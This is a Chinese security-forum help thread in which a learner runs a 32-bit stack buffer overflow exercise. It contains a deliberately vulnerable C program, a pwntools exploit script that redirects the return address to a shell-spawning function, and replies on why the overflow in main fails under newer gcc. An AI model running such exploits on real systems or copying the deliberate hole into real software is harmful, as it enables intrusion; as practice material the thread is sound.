首页
论坛
课程
招聘
[求助]栈溢出,main函数溢出失败,别的函数却能溢出成功.
2018-5-21 22:35 2764

[求助]栈溢出,main函数溢出失败,别的函数却能溢出成功.

2018-5-21 22:35
2764
我又来问问题了..._(:з」∠)_

首先是一个成功的溢出实验,通过函数vul()来溢出.
源码:
#include <stdio.h>
void sys(){
    system("/bin/sh");
}

void vul(){
    char buf[128];
    read(0,&buf,512);
}

int main()
{
    vul();
    write(1,"hello\n",7);
    return 0;

}
主要思路是把函数vul()的返回地址覆盖为sys()函数的地址.
脚本:
from pwn import *
p=process('./test.out')
elf=ELF('./test.out')
sys_plt=elf.symbols['sys']
print hex(sys_plt)
payload='a'*128+'a'*8+'a'*4+p32(sys_plt)  //128字节的长度+8字节的对齐空间+4字节的ebp+sys()的地址
p.send(payload)
p.interactive()
实验结果:
neko@ubuntu:~/pwn$ python exp1.py 
[+] Starting local process './test.out': pid 56537
[*] '/home/neko/pwn/test.out'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
0x804846b
[*] Switching to interactive mode
$ id
uid=1000(neko) gid=1000(neko) groups=1000(neko),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  
成功将vul()的地址覆盖为sys()的地址。

现在修改源代码为:
#include <stdio.h>
void sys(){
    system("/bin/sh");
}

int main()
{
    char buf[128];
    read(0,&buf,512);
    write(1,"hello\n",7);
    return 0;
}
思路和之前一样,只不过这次是把main函数的返回地址覆盖为函数sys()的地址.
ida中显示:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-88h]

  read(0, &buf, 0x200u);
  write(1, "hello\n", 7u);
  return 0;
}


脚本不变:
from pwn import *
p=process('./test.out')
elf=ELF('./test.out')
sys_plt=elf.symbols['sys']
print hex(sys_plt)
payload='a'*128+'a'*8+'a'*4+p32(sys_plt)
p.send(payload)
p.interactive()
但结果失败:
neko@ubuntu:~/pwn$ python exp1.py 
[+] Starting local process './test.out': pid 56593
[*] '/home/neko/pwn/test.out'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
0x804846b
[*] Switching to interactive mode
hello
\x00[*] Got EOF while reading in interactive
$ id
[*] Process './test.out' stopped with exit code -11 (SIGSEGV) (pid 56593)
[*] Got EOF while sending in interactive

这是什么原因?
------------------------------------分割线------------------------------------
gcc版本问题,使用小于5.0版本的gcc即可


[注意] 欢迎加入看雪团队!base上海,招聘CTF安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

最后于 2018-5-22 21:09 被勿喋编辑 ,原因: 问题解决
收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 2
活跃值: 活跃值 (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
idlefire 活跃值 2018-7-26 23:06
2
0
我在kali上测试了下,也会出现不能直接pwn的情况,但是使用gdb调试之后,发现可能是由于系统问题或者是操作问题,main函数在“ret”之前会多出一条“lea esp,[ecx-0x4]”,不清楚你是什么情况了。。。
雪    币: 60
活跃值: 活跃值 (49)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
返無歸一 活跃值 2018-7-31 03:00
3
0
idlefire 我在kali上测试了下,也会出现不能直接pwn的情况,但是使用gdb调试之后,发现可能是由于系统问题或者是操作问题,main函数在“ret”之前会多出一条“lea esp,[ecx-0x4]”,不清楚 ...
gcc 某版更新後編譯32bit會出現這條指令,如果單純想練習一下bof可以在編譯的時候加上-mpreferred-stack-boundary=2就不會出現這個了
雪    币: 2
活跃值: 活跃值 (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
idlefire 活跃值 2018-8-6 18:14
4
0
返無歸一 gcc 某版更新後編譯32bit會出現這條指令,如果單純想練習一下bof可以在編譯的時候加上-mpreferred-stack-boundary=2就不會出現這個了
这个选项貌似用来优化堆栈的,确实有用。
游客
登录 | 注册 方可回帖
返回